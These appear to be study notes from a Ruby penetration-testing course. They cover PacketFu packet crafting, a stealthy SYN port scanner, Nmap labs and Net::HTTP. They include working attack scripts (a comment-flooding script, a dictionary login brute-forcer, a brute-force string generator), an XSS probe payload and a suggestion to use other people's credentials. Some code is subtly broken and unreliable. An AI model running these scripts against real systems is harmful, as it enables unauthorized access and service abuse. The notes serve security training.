→ http://rubydoc.org/github/todb/packetfu/PacketFu

PacketFu is a Ruby library For reading and writing packets to a network interface.
it requires pcarub to work. (another gem)

Follow these steps to install PacketFu in Kali:

apt-get install ruby-dev
apt-get install libpcap-dev
gem install -r pcaprub
gem install -r packetfu

To find what your gem path is:

gem env

Open PacketFu:

# go to the examples path in <gem env path>
ruby packetfu-shell.rb

if Packet capturing/injecting is enabled it works

Usage

pry --simple-prompt
require 'packetfu'

We can use many classes For different purposes:

PacketFu::IP
PacketFu::TCP
PacketFu::UDP

In order to avoid writing the PacketFu namespace each time, we can use include:

include PacketFu
IPHeader # the same as PacketFu::IPHeader
TCPPacket # the same as PacketFu::TCPPacket

Utils class contains utility methods.

For example, it can be used to obtain information about our machine interfaces:

Utils.ifconfig("eth0")

Perform an ARP request. // however it returns the mac address only if the specifies IP belongs to your default network interface (usually “eth0”):

Utils.arp("192.168.1.2")

To see the default network interface use by PacketFu:

Utils.whoami?

Forge a custom packet

Common packets classes:

ARPPacket  # constructs ARP packets
EthPacket   # constructs Ethernet packets
ICMPPacket # constructs ICMP packets
IPPacket     # constructs IP packets
TCPPacket  # constructs TCP packets
UDPPacket # constructs UDP packets

Each of the previous classes use suitable header and option or flags:

IPHeader     # a complete IP structure
ICMPHeader # a complete IP structure
TCPHeader   # a complete TCP structure
TCFlags     # Implements flag For TCPHeader
ARPHeader # a complete ARP structure

Lets see how to create a UDP packet from scratch:

u = UDPPacket.new

To send a packet using PacketFu

First we need to use recalc method to recalculate all of the checksums of the packets, then to_w:

u.recalc
u.to_w

since we will forge the entire packet headers (Ethernet, IP and UDP), we have to be careful in order to create the packet correctly.
In order to obtain information such as the source IP, MAC address and gateway MAC address, we can use the class Utils.
When we do not specify an interface, PacketFu uses the default eth0 so take that into account.

The method Utils.whoami? contains the correct field values that we need (source MAC and IP addresses as well as the default gateway mac address):

Utils.whoami?
s_ip = Utils.whoami?[:ip_saddr]
s_mac = Utils.whoami?[:eth_saddr] # source address
g_mac = Utils.whoami?[:eth_daddr] # destination address

Set the UDP raw packet:

u.eth_saddr = s_mac
u.eth_daddr = g_mac

Set the IP header:

u.ip_saddr = s_ip
u.ip_daddr = "<destination IP>"

Set the UDP source and destination ports:

u.udp_sport = 5000
u.udp_dport = 37

We can send the packet now:

u.recalc
u.to_w

sniff the traffic with wireshark to grab the packet

Since we are using raw sockets, we sent the packets directly to the network without going through the kernel TCP/IP stack
This means that in our kernel, we do not have a real socket (bound to UDP source port) that is waiting For an UDP time response
As defined in the UDP/TCP RFC, when the kernel receives an undesired UDP packet, it responds with an ICMP destination unreachable (Port unreachable)

A trick to avoid the ICMP kernel response is to create an UDP socket which binds itself to our source port.

Now the kernel has its socket bound to the source port 5000 so the ICMP packet is no longer generated by the OS:

s = UDPSocket.new
s.bind("192.168.3.24","5000")
u.to_w

Doin the same thing For all other packets can be tedious. PacketFu allows some different methods to forge packets quickly

We can use config parameter:

u = UDPPacket.new(:config=>Utils.whoami?)

TCP SYN port scanner

now we can write more sophisticated tcp port scanner that avoid finalizing the 3-way handshake. This is called TCP SYN scan
TCP SYN scan can be used to leave no trace

A common DOS attack is called TCP SYN flood, where the attacker sends a flood of syn packets, until a crash happens.

The strategy

The syn packet sends a syn
if the port is open the target answer with syn,ack
and we send RST to close the connection, means that we do not close the 3way handshake with another ack
if the port is closed, after the first syn, the target answers with a RST+ACK
if the ports is filtered, we will send 2 syns without any answer

To create TCPPacket using packetFu, we need to set the Ethernet, the IP header fields and the TCP header with the correct destination port and SYN flag enabled

We can use the config aswell:

t = TCPPacket.new(:config=>Utils.whoami?)

Pay attention, Eth destination now is not the default gateway

the target host 192.168.3.14 belongs to our network

Since its in our network, we can grab the MAC with an ARP request:

t.ip_daddr = "192.168.3.14"
t.eth_daddr = Utils.arp("192.168.3.14")
# mac output
t

now EthHeader and IPheader have the correct value

The destination port is 135 while the source port may be a random value:

t.tcp_sport = 5000
t.tcp_dport = 135
t.tcp_flags.syn = 1

t

Now the TCP packet is properly configured

Its ready to be sent:

t.recalc
t.to_w
# we can analyse with wireshark

We want our script to be capable of detecting the SYN+ACK. PacketFu provides the Capture class to sniff every packet received on a specific network interface.

to use capture we need to create a Capture object and then specify the interface where it will capture the traffic (eth0 is the default NIC)
after this, we can use the capture method to sniff packets received by the interface. we can also specify a filter as a capture parameter in order to capture only specific packets.

To extract all of the TCP packets that have source IP address equal to 192.168.3.14 and 135 as source port from the eth0 interface:

cap = Capture.new(:iface=>"eth0")

The filter For the capture method is given usinf the BPF syntax (Berkeley Packet Filter):

src host 192.168.3.14 and src port 135
cap.capture(:filter=>"src host 192.168.3.14 and src port 135")

To check if our interface received a packet which matches the filter, we can use the next method. If it returns nil, it means that there is not one matching. Otherwise, the packet is returned:

raw_packet = cap.next

PacketFu allows one to parse raw packets using the Parse class.

Parsing the received raw_packet we will obtain a PacketFu TCP packet:

tcp_packet = Packet.parse raw_packet

As we can see in the interpreter, the packet received is the desired SYN+ACK (flag A and S) packet coming from port:135 and host:192.168.3.14

The script

First, we have to start a packet sniffer that is able to read all of the response packets: SYN+ACK For opened ports and RST+ACK For closed ports.

when the sniffer is ready, we can send the TCP SYN packet For each port we want to test

For all of the ports that are not opened or closed, there is a high likehood that they are filtered:

def main(host, start_port,end_port)
  open = []; closed = []
  start_capture(host,open,closed,start_port,end_port)
  send_tcp_syn(host,start_port,end_port)
  filtered=(start_port..end_port).to_a - (open+closed)
  puts "OPEN",open if !open.empty?
  puts "FILTERED",filtered if !filtered.empty?
end

For the start_capture method, a new thread is required; we sniff TCP SYN+ACK and RST+ACK at the same time we send TCP SYN:

require 'packetfu'

def start_capture(host, open_ports, closed_ports, start_port, end_port)
  Thread.new do
    cap = Capture.new
    cap.capture(filter: "tcp and src host #{host}")

    cap.stream.each do |raw_packet|
      tcp_packet = Packet.parse(raw_packet)
      port = tcp_packet.tcp_sport.to_i

      next unless port.between?(start_port, end_port)

      flags = tcp_packet.tcp_flags

      if flags.syn == 1 && flags.ack == 1 && !open_ports.include?(port)
        open_ports.push(port)
      elsif flags.rst == 1 && flags.ack == 1 && !closed_ports.include?(port)
        closed_ports.push(port)
      end
    end
  end
end

The method send_tcp_syn first creates a TCPPacket and sets the correct mac address (default gateway if the host is outside the network – host mac address coming from ARP request if the host belongs to our network)

Then For each port, it sends a TCP SYN packet (two times to avoid packets loss):

def send_tcp_syn(host,start_port,end_port)
  t = TCPPacket.new(:config => Utils.whoami?)
  t.eth_daddr = Utils.arp(host) if Utils.arp(host)
  t.ip_daddr = host
  t.tcp_flags.syn = 1
  start_port.upto(end_port) do |port|
	t.tcp_dport = port
	t.recalc
	2.times.each { t.to_w;sleep(0.02)}
  end
  sleep(1)
end

The sleep methods in the previous implementation are used to avoid creating a flood of SYN packets against the target host.

with too many TCP requests For connection, the target host may become suspicious
the greater the time between each TPC SYN is, the more silent the scanning is.

Tcp_sps.rb (TCP SYN port scanner), first we start reading the parameters:

ruby tcp_sps.rb host start_port-end_port

example:

ruby tcp_sps.rb 192.168.3.14 100-200
# scan ports from 100 to 200 on the host 192.168.3.14

Kernel Exec

it replaces the current Ruby process with the command passed as argument
this means that the original command is stopped. therefore there is no way to interact with the new command.
The exec method is an abbreviation For kernel.exec method and it could be useful if u have a script that executes some logics and then it needs to call an external OS command without interacting with it.

u will probably never have the need to use it but its an interesting method that we may want to know:

pry --simple-prompt
exec 'echo "Hello world"'
# Output: Hello World

The echo command replaces the pry interpreter

Kernel System

It differs from exec. it does not replace the current process; instead it creates a subshell and executes the command passed as argument inside it.

finally, it returns true if the command argument was found in the OS and it was executed correctly. otherwise it returns false.
moreover, it prints the stdout and the stderror of the command as argument and it sets the global variable $? with the exit status information of the command execution.
System is a Kernel method too. Therefore u can use the OO notation Kernel.system to call it.

Example:

→ system 'echo "Hello"'
$? 
# now the global variable holds some status
$?.pid 
# Output: 3458
$?.exitstatus 
# Output: 0

When the command is not found. False is returned and the stderror is printed.

system method does not terminate the original process execution but it does not provide a way to interact with the command executed.
therefore u cannot handle the sub-commands outputs (stdout and stderror) in any way.

Kernel Backticks

Its another method to execute system commands in a sub-shell

it works as Kernel system method but the returned value is the standard output of the command executed in the sub-shell
When using it, u can handle the output of any command sub-executed Usage: ```ruby output = ‘echo “hello”’ output

//”hello” // or u can use with the OO notation Kernel.’(command) ‘

For example, how to extract the eth0 ip address

With regex:
```ruby
'ifconfig eth0' =~/inet addr:([0-9.]*)/
$1
# Output:  192.168.3.29

With kernel backsticks:

puts %x{ifconfig eth0}
# Output: eth0 output

IO popen

Method provided by the IO class

The command stdin and stdout will be connected to the returned IO object (u cannot get the stderr)

Usage:

fd = IO.popen('echo "hello"')
fd.readline
# Output: "hello"

IO.popen opens input and output streams with the sub-command (according to the opening mode r

w+…). Therefore, u can use all of the methods seen when we talked about streams.

→ moreover: http://ruby-doc.org/core-1.9.3/IO.html

Open3 popen3

Used if u want to interact with all of the three sub-command stream: stdin, stdout and stderr:

require 'open3'

Example: execute nslookup command:

sin,sout,serr = Open3.popen3('nslookup')
sin.puts "www.google.com"
sout.gets
# Output: "Server:\t\t192.168.3.1\n"

sout.gets
# Output: "Address:\t\t192.168.3.1#53\n"

All together

The most used are Kernel backticks and Open3 popen3

we want to create a script that takes as input a target network, performs a ping sweep and then shows a menu to select one port scanning technique (UDP, TCP Connection, TCP SYN)
we need to interact with uphosts and pextr commands; we have to send the nmap output to the commands input stream.
therefore we have to use a method that allows to send data to stdin; we will use Open3 popen3

Usage command scan:

scan <network>
// discover targets in the network using ICMP ping request strategy

As usual, the script can be improved. we can add other port scanning techniques, the possibility to choose a range of custom ports, and so on.

Lab

Task 1: Discovery alive hosts

nmap -PE -sn -n 172.16.10.0/24 -oA=rede10

Run a host discovery scan with Nmap and save the output in the three most used formats: XML, grepable and normal output. The remote networks are 172.16.10.0/24 and 172.16.11.0/24.

Task 2 - ip extraction

sudo nmap -PE -sn -n 172.16.10.0/24 | ./ip_extraction_nmap-2.rb

// the script

#!/usr/bin/ruby

begin
  stream = $stdin
  stream.each do |line|
	/^(?:Nmap scan report \for )((?:\d{1,3}\.){3}\d{1,3})/ =~ line
	puts $1 if $1
end
rescue Exception => e
  puts
end

Task 3 - Open ports

nmap -sV -T4 172.16.10.0/24 -oA=rede10-ports

Task 4 - Port extraction

Web

Starting Point

Request and Response

Data Extraction

Exercises

HTTP Protocol

we will focus no http
Rubys alternatives to interact with a web server

Using simple socket

it may happen that u have to test the behavior of a server when it receives incorrect packets.

Our target is the simple index page of the apache web server:

service apache2 start

we want to obtain the same page using Ruby and a TCP socket.

The first thing to do is to open a TCP connection with our localhost on port 80:

s = TCPSocket.new("localhost",80)

The correct verb to use is GET and the path is /:

request = "GET / HTTP/1.0\r\n\r\n"
s.print(request)

response = s.read
# Output: is the http response

We can split headers and body to analyze them separately:

headers,body = response.split("\r\n\r\n")
headers
# Output: of headers

body
# Output:  of body

We can try to send a misconfigured request
like GE instead of GET
// method not implemented
this strategy may be useful to detect if the server is vulnerable to misconfigured packet attacks

Net::HTTP library

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

We can use Net::HTTP class in different ways. we can use its class methods or its instances to achieve the same result:

require 'net/http'
response = Net::HTTP.get("localhost","/")
print response
// we get the output of body

Open-uri library

→ http://ruby-doc.org/stdlib-1.9.3/libdoc/open-uri/rdoc/OpenURI.html

To get the same body output:

require('open-uri')
open('http://localhost/') do |http|
  puts http.read
end

Usually open-uri is used when u have to retrieve the body response from a webserver quickly.

URI object

URI is a module providing classes to handle Uniform Resource Identifiers. its used to encapsulate an URL (URL are a subset of URI)

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/uri/rdoc/URI.html

lhost_url = URI("http://localhost")
// now we can use 'lhost_url' with 'open-uri'
open(lhost_url) do |http|
puts http.read
end

We can also use lhost_url with Net::HTTP:

puts Net::HTTP.get(lhost_url)

Net::HTTP class and instances

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-c-get

GET

The first verb we want to analyze is ‘GET’
we will take about handlers, parameters and so on.

Net::HTTP get

we have seen that the Net::HTTP get class method can be used to obtain the body portion of the HTTP response from a target as a string.

It sends a GET request to the target which can be specified using:

an URI object parameter
host, path and port parameters

Example:

resp = Net::HTTP.get(URI("http://www.elearnsecurity.com"))
# we obtain the GET response body in string format

To print the response body directly to stdout we use get_print:

Net::HTTP.get_print(URI("http://www.elearnsecurity.com"))

We can avoid using the URI object in favor of the host and the path parameters:

resp = Net::HTTP.get("www.elearnsecurity.com","/")

Example of get_print with host and path parameters:

Net::HTTP.get_print("www.example.com","/index.html")

we can use :: or . to call a class method

Example:

Net::HTTP::get_print(URI("http://localhost/"))
Net::HTTP.get_print(URI("http://localhost/"))

Net::HTTP get_response

In this case, we do not have a string as a result.

We have an HTTPResponse object that encapsulates the HTTP response (the entire response, not only the body):

res_obj = Net::HTTP.get_response(URI("http://localhost/"))

HttpResponse object

this class wraps the response header and the response body together.

Its the superclass of the real response object returned by get_response:

res_obj = Net::HTTP.get_response(URI("http://localhost/"))

→ http://www.ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#class-Net::HTTP-label-HTTP+Response+Classes

Status:

res_obj.code
# Output: "200"
res_obj.message
# Output: "OK"
res_obj.class.name
# Output: "Net::HTTPOK"

Headers: To get the hash of the headers:

res_obj.to_hash

We can also use each and each_header:

res_obj.each { |key,value| print key,":  ",value,"\n"}

To obtain a particular header:

res_obj["content-type"]
# Output: "text/html"

res_obj["server"]
# Output: "Microsoft-IIS/7.5"

with the headers we can get information about the server For example, but sometimes web security experts change this header value (with fake ones) in order to hide the real server software and version.

Body:

print res_obj.body

Response Object types

If a resource does not exist, we have a 404 and an HTTPNotFound subclass object:

res_obj.class.name
# Output: "Net::HTTPNotFound"

res_obj.code
# Output: "404"

If the requested resource has been permanently moved then we have a 301 code and an HTTPMovedPermanently subclass object:

res_obj.class.name
# Output: "Net::HTTPMovedPermanently"

res_obj.code
# Output: "301"

In the moved permanently response, the location header specifies where to find the resource:

res_obj['location']

Parameters

GET requests can have parameters too. The portion of URL that contains data parameters is called query string.

→ https://hack.me/

this project allows u to start a vulnerable web app where u can test your script without violating any laws
it looks like hack.me is offline, donc je suis perdu

URL encapsulation

First perform a GET using the entire URL containing the query string:

target = 'http://<full url>'
res = Net::HTTP.get(URI(target))

Check the res with the response we expect:

res =~/You have searched For: hello/
# Output: 2057
# the string is at position 2057

Dynamic parameters

A URI instance can encapsulate an entire URL string. we can retrieve and set all of the URL fields by using the getter and setter provided by the URI class.

→ moreover: http://www.ruby-doc.org/stdlib-2.1.0/libdoc/uri/rdoc/URI.html

url = URI(target)
url.host # 's20570-101060-xjo.tarentum.hack.me'
url.path # '/search.php'

Since the target URL does not contain a query string, the URL object returns nil using the query getter:

url.query
# Output: nil

Query method is a setter too.

We can create them by using a simple hash (params) and then we can use the encode_www_form utility method to create the correct query string:

params = {:find=>"hello",:searching=>"yes"}
url.query = URI.encode_www_form(params)
# Output: "find=hello&searching=yes"

Now we can perform the *GET request using Net::HTTP get (open-uri can be used too):

res = Net::HTTP.get(url)

res =~/You have searched For: hello/
# Output: '2057'

Net::HTTP instances

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

First create a Net::HTTP instance and specify the target address:

http = Net::HTTP.new("www.elearnsecurity.com")

Using GET instance method

We have to call it by specifying the resource path we want to request as an argument:

res = http.get("/")
# in this example we request the home page

Using Http:Get request object

The net/http library provides a class For HTTP requests. its full name is Net::HttpRequest, and like HttpResponse, it wraps the request header and the request path together.

This class cannot be used directly; u have to choose one of its subclasses: Net::HTTP::(Get, Post, Head)

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-i-request

according with the references, u can use its subclasses instances only by using the request method of Net::HTTP instances. // the path of the server resource we want

The Net::Http::Get instance is a subclass of the HttpRequest designed to perform Get requests:

http = Net::HTTP.new("www.elearnsecurity.com")
req = Net::HTTP::Get.new("/")
# after having both Net::HTTP and Net::HTTP:GET instances, we can use the request method.
res = http.request(req)

URI and parameters

If u use the Net::HTTP instance to perform GET requests, u can use URI objects as parameters too.

Request Headers

How to handle request headers
to set our custom header, we need to use Net::HTTP instances

Using get instance method

How to change the default value of the User-Agent request header:

http = Net::HTTP.new("www.elearnsecurity.com")
headers = {"user-agent" => "Custom user agent"}
http.get("/",headers)
# we can confirm with Wireshark, that our current User-Agent contains the value that we gave = "Custom user agent"

using Http.Get request object

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTPHeader.html

HttpRequest instances wraps the request header (Net::HTTPHeader) and the request path together:

http = Net::HTTP.new("www.elearnsecurity.com")
req = Net::HTTP::Get.new("/")
req['user-agent'] //only outputs the current user-agent
req['user-agent'] = "Another custom user-agent" # modify and print the user-agent

http.request(req)
# we can check with wireshark again that our new user-agent is set correctly

Working with Open-uri

GET requests can be performed more easily by using open-uri library

Open-uri supports only the GET method but there is gems (such as rest-open-uri) that extend its functionality to others verbs (like POST)

open method

It returns a Tempfile object that encapsulates the response:

resp = open("http://www.elearnsecurity.com")
resp.class.name
# Output: "Tempfile"

If u want the response body, u can use line unumerators:

resp.each_line { |line| puts line }

Response headers are treated as meta information and are available using the meta attribute:

resp.meta
# headers output

U can also use open with a block methodology. the block variable (resp) is the Tempfile created by the open:

open("http://www.elearnsecurity.com"){ |resp| puts resp.meta }

request headers

With open we can specify request headers as an optional hash argument:

open("http://www.elearnsecurity.com",{"User-Agent"=>"custom header"})

Setting new header:

open("http://www.elearnsecurity.com","User-Agent"=>"Test","New-Header"=>"some value")

POST

Using Net::HTTP post_form

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-c-post_form

The target address is the login.php resource while form parameters are user and pass:

url = URI("<url of the target>")
params = {"user"=>"els","pass"=>"els"}
res = Net::HTTP.post_form(url,params)

Sessions and cookies

res['location']

myaccount.php its the location responder header with the destination address if the login succeds

To see if the login using our POST succeeded. we look at the set-cookie:

res.to_hash

Now we send a GET request to the myaccount.php target using a proper cookie header:

url = "<url/myaccount.php>"
logged = open(url,"cookie"=>res['set-cookie'])

logged.each_line { |line| print line }
# to print the response

Using Http::Post request object

First thing is to create an Net::HTTP instance:

target = "<url>"
http = Net::HTTP.new(target)

Now we create a Net::HTTP::POST instance:

req = Net::HTTP::Post.new("/login.php")

We have to set the POST form values, in this case els:els

req.set_form_data("user"=>"els","pass"=>"els")

We now have to send the request by using the method of the Net::HTTP instance

res = http.request(req)
# we received a 'moved temporarly' response

To print the headers, we can see the set-cookie header with the SESSION-ID which identifies the logged session:

res.to_hash

we can use this SESSION-ID as a request Cookie to perform logged requests

Request Headers

U can set your custom request headers with POST requests

in the logged page we can write comments
we can run the same operation in Ruby
the comments are allowed only For logged in users
this implicitly means that your browser sends a cookie (as an header) that identifies your authenticated session during the POST request
therefore, we need to set the cookie header with a proper SESSION-ID value.
look at the source code to identify the form action of the page and field names
in this case, action=’sendmsg_confirmation.php’, name, comment, cat

We have a res variable containing the login response with the SESSION-ID in set-cookie header:

res.to_hash

Using post instance method

To use post, we need a Net::Http instance; the target resource address too:

target = "<url>"
http = Net::HTTP.new(target)

The form we want to send if the following:

param = {"name"=>"hello","comment"=>"from ruby","cat"=>"1"}
# the cat is if of the category

Our post request must contain a cookie header with a valid logged SESSION-ID:

header = {"cookie"=>res['set-cookie']}

now we can perform the POST request
it requires an encoded form data while the destination path is the action address seen before in the source code.

enc_param = URI.encode_www_form(param)
http.post("/sendmsg_confirmation.php",enc_param,header)

# we can go to the page and check if our commentary is there

Using Http::Post request object

target = "<url>"
http = Net::HTTP.new(target)
req = Net::HTTP::Post.new("/sendmsg_confirmation.php")
req.set_form_data({"name"=>"hello","comment"=>"again from ruby","cat"=>"1"})
req['cookie']=res['set-cookie']
http.request(req)

Example: Post Flooding

We want to write a post flooding script that sends subsequent POST request to the target in order to full the programs page (program.php) with a lot of undesired comments.

this is possible because there are no security mechanisms implemented in the web app (such as captcha). Therefore subsequent request can be automated using a script.
our script takes the target address, an user name, a password and the number of comments we want to send as arguments. then the script performs the login flow and finally it uses the SESSION-ID received to send the subsequent POST comment requests.

Usage:

ruby post_flooding.rb <target url> <login> <password> <number of comments>

First identify the parameters and create http instance:

require 'net/http'
Target_URI = URI(ARGV[0])
Username = ARGV[1]
Password = ARGV[2]
Max_Comments = ARGV[3].to_i

http = Net::HTTP.new(Target_URI.hostname)

Perform the login process using Username and Password in order to obtain the session id from the set-cookie response header:

login_param = URI.encode_www_form({"user"=>Username, "pass"=>Password})
login_res = http.post("/login.php",login_param)
session_id = login_res['set-cookie']

Then the flooding part. we have to use the SESSION-ID received from the login process as a cookie header to be able to post any comment:

flood_parameters = URI.encode_www_form({"name"=>"FLOOD","comment"=>"FROM RUBY","cat"=>"1"})
(1..Max_Comments).each{ 
  http.post("/sendmsg_confirmation.php",flood_parameters,"cookie"=>session_id
}

we used our own credentials, thats now ideal we can try to discover someone elses credentials in order to not expose our credentials

Persistent Connections

If u have to exchange a lot of information with the server (For example a multi chunk file download), its better to have a unique TCP connection.

the HTTP 1.1 protocol allows u to maintain the connection opened For subsequent request.
using the start method, we can open a unique TCP stream (a unique connection and a unique handshake)

→ moreover: http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Brute form login

Response identification

When the login succeeds, the server sends a moved temporarly response that points to myaccount.php. The server also sets a cookie with the SESSION-ID For the created login session:

url = URI("<target login url>")
params = {"user"=>"els","pass"=>"els"}
res = Net::HTTP.post_form(url,params)
res['location']
res['set-cookie']

if we provide wrong credentials, there is no set-cookie header and the location is the same url so we can use these 2 info, to see if the login succeeds or not.

Find a UserName

Scrap through the web page to find valid usernames

in this case there are logins in the comments

Dictionary attack

The script sequentially tests each password against the same UserName and if one of these is correct, it prints it to stdout.

Usage:

→ time ruby dictionary_login.rb <url target> <username> <dictionary file>

require 'net/http'

Target = ARGV[0]
User = ARGV[1]
Password_file = ARGV[2]

url = URI(Target)
params = { "user" => User }
http = Net::HTTP.start(url.hostname)
req = Net::HTTP::Post.new(url.request_uri)

File.open(Password_file, 'r') do |file|
  real_pwd = file.each do |pwd|
    params['pass'] = pwd.chomp # Use `chomp` to remove newline characters
    req.set_form_data(params)
    res = http.request(req)
    break pwd.chomp if res['location'] == 'myaccount.php' && res['set-cookie']
  end

  if real_pwd.is_a? String
    puts "\nPassword for '#{User}' is: #{real_pwd}"
  else
    puts "\nPassword not found for '#{User}'."
  end
end

http.finish # Corrected the method name

Using a string generator

If the target chooses a strong password, an attacker may not be able to discover it in a short time

However its a good exercise to use Ruby to generate all of the string ofa particular character input space to use in a real bruteforce scenario.

Input parameters:

Input_space = 'a'..'z'
Min_length = 1
Max_length = 3

Generates all of the strings of a specific size using the input_space characters:

def genst(st,post,&block)
  return block.call(st) if pos<=0
  Input_space.each { |x| genst(st+x,pos-1,&block) }
end

Start from min_length up to max_length generates all of the strings of a specific size using the previous genst:

def genallpwd(&block)
  (Min_length..Max_length).each { |l| genst("",l,&block)}
end

Call the genallpwd method and allows us to specify what the task is to do when a new string is generated.

In this case we want to print:

genallpwd{ |pwd| puts pwd}

we can change the size For example to 4..10 and also change the input_space to every alphanumeric string

Input_space = ('A'..'Z').to_a+('a'..'z').to_a+('0'..'9').to_a
Min_length = 4
Max_length = 10

we can set the target url and username as parameters and try to break into the account with the generates characters it takes some time to use this technique, even if its a short password

HTTPS

Net::HTTP allows us to handle also https connections. we only need to change the connection establishment, the rest is the same

create an SSL connection with Net::HTTP instance

Specify a correct SSL port (usually 443):

url = URI("http://members.elearnsecurity.com")
url.host //the site
url.port //443
https = Net::HTTP.new(url.host,url.port)

Set the connection to use SSL:

https.use_ssl = true

Now we can use all of the instance methods previously seen.

For example, a simple GET request to the home page path:

resp = https.get("/")

Another way to handle https connection is by using start method:

https = Net::HTTP.start(url.host,url.port,:use_ssl=>true)

→ moreover = http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Redirection

One common usage is For security reasons - the typical HTTP to HTTPS redirection. For example, if er request a website login page using HTTP, we could be automatically redirected to the HTTPS page.

the script will print the redirection chain to the standard output.
usually responses are Moved Permanently 301 or Moved Temporarly 302. in this cases, the location header specifie where the resource can be found.

If we send a GET request, we have the message and the location header:

res = Net::HTTP.get_response(URI("http://justcrypt.it"))
res['location']
# Output: 'https://justcryit.com'

We have to follow the request:

url = URI("https://justcrypt.it")
resp = Net::HTTP.start(url.host,url.port,:use_ssl=>true) do |https|
  https.get("/")
end
resp['location']
# Output: 'https://justcrypt.it/send'

We have to follow the redirection chain until we receive an HTTPOK response (code 200):

url = URI("https://justcrypt.it/send")
resp = Net::HTTP.start(url.host,url.port,:use_ssl=>true) do |https|
  https.get(url.path)
end
# Output: 'HTTPOK 200 OK readbody=true'

Follow the chain

We can make a script to automatically that follows the chain of a given target address

First the function that is able to follow the redirection chain, ans its able to identify both http and https connection type:

require 'net/http'

Target = ARGV[0]

def follow_chain(url, &block)
  resp = Net::HTTP.start(url.host, url.port, use_ssl: url.scheme == 'https') do |https|
    https.get(url.path)
  end
  block.call(url, resp)
  follow_chain(URI(resp['location']), &block) if resp.is_a? Net::HTTPRedirection
end

puts "Starting from: #{Target}\n\n"
follow_chain(URI(Target)) do |url, resp|
  case resp
  when Net::HTTPRedirection
    puts "Redirection to: #{resp['location']}"
  when Net::HTTPSuccess
    puts "\nHTTPOK: #{url.to_s}"
  end
end

Proxies

It may be useful to use proxies (For example if u want to keep your anonymity)

→ list of free available proxies - http://www.freeproxylists.net/

in this example we gonna use proxy 62.68.95.14 on port 8080 - HTTP

Http Proxies

First create a Net::HTTP instance:

proxy_addr = "62.68.95.14"
proxy_port = 8080
proxy = Net::HTTP.new("www.elearnsecurity", nil,"proxy_addr,proxy_port")

Then we can use the methods already seen to perform a request:

res = proxy.get("/")
# Output: 'HTTPOK 200'

We can inspect the packets with wireshark:

nslookup www.elearnsecurity.com

Https Proxies

Choose a proxy that supports https connections

Is the same as http, but we have to use SSL:

proxy_addr = "92.245.170.248"
proxy_port = 8080
target = "members.elearnsecurity.com"
res = Net::HTTP.start(target, 443,proxy_addr,proxy_port,:use_ssl=>true) do |https|
  https.get("/")
end

# Output: 'HTTPOK 200 ok'

https proxies use the HTTP CONNECT Tunneling
the Net::HTTP class automatically encapsulate this particular protocol when u request an HTTPS resource using a proxy

→ moreover = http://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_Tunneling

Other VERBS

To use other verbs besides get and post, we use a Net::HTTP instance (there are not Net::HTTP class methods to do that)

Options

OPTIONS requests allow u to know the list of VERBs supported by a particular target web resource

Start apache = service apache2 start

Show the verbs available:

http = Net::HTTP.new("localhost")
opt = http.options("/")
opt.to_hash
# in the allow output ['options, get, head, post']

We can obtain the same result using an Net::HTP::Options request object. its a subclass of HttpRequest:

http = Net::HTTP.new("localhost")
req = Net::HTTP::Options.new("/")
opt = http.request(req)
opt.to_hash

Sometimes verbs different from post and get are not allowed. Take google as an example:

opt.class.name
# Output: "Net:HTTPMethodNotAllowed" // does not allowed the options verb

HEAD

Verb used to request only the resource response headers:

http = Net::HTTP.new("localhost")
head = http.head("/")
head.to_hash
headh.body
# Output: nil

U can use the HttpRequest subclass request object Net::HTTP::Head:

http = Net::HTTP.new("localhost")
req = Net::HTTP::Head.new("/")
head = http.request(req)
head.to_hash

Others

Check the references

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Data Extraction

The extraction of the data depends on the type of response body: HTML, XML, JSON, private format, etc

We will use mainly regular expression or document parsing

Regular Expressions

Whatever the response format is, with regular expression u can extract substrings that match a specific pattern (ignoring the format)

email extraction

If u have to perform a pentest that involves a web app, extracting emails is something that u would do Usage:

ruby email_extr.rb <url target>

The code using open-uri and scan method:

require 'open-uri'

Target = ARGV[0]
Email_re = /[-0-9a-zA-Z.+_]+@[-0-9a-zA-Z.+_]+\.[a-zA-Z]{2,4}/
emails = open(Target) { |res| res.read.scan(Email_re)}
emails.each { |email| puts email}

U can also check invisible contents such as comments or hidden elements

Document Parsing

Sometimes is better to parse through the node structure of the document

Nokogiri

→ http://nokogiri.org/

Nokogiri is an HTML, SAX, and Reader parser. search documents via XPath or CSS3 selectors.

- Xpath 
 → http://www.w3.org/TR/xpath/
 → https://www.w3schools.com/xml/xpath_intro.asp

- CSS3 selector:
 → http://www.w3.org/TR/selectors/
 → http://www.w3schools.com/cssref/css_selectors.asp

Installation:

gem install nokogiri

Documentation & tutorials:

- http://nokogiri.org/tutorials

Example: Form Extraction:

Usage:

ruby form_extr.rb <url>

require 'open-uri'
require 'nokogiri'

Target = ARGV[0]

# Get the response body from the target resource via open-uri and parse the result HTML document using Nokogiri
doc = Nokogiri::HTML(open(Target))

# The xpath method returns an array of Nokogiri nodes
doc.xpath("//form").each_with_index do |form, i|
  puts "------- FORM #{i + 1} ---------- "
  puts "Action: " + form['action']
  puts "Method: " + form['method']
  puts "FIELD"
  form.xpath(".//input").each do |input|
    puts "Name: #{input['name']} - Type: #{input['type']}"
  end
  puts
end

Example 2 - Detect XSS reflected:

Some browsers (i.e. chrome) have a built-in reflected xss filter that recognizes common payloads such as:

<script>alert(1)</script>

the easiest way is to parse the document using Nokogori to search the injected payload to see how it appears in the parsed tree.

w/ interpreter:

require 'open-uri'
require 'nokogiri'
target = URI("<the full url with the <script> alert")

we can use open-uri and nokogiri to request the target resource using a GET request and to parse the html response body

doc = Nokogiri::HTML(open(target))

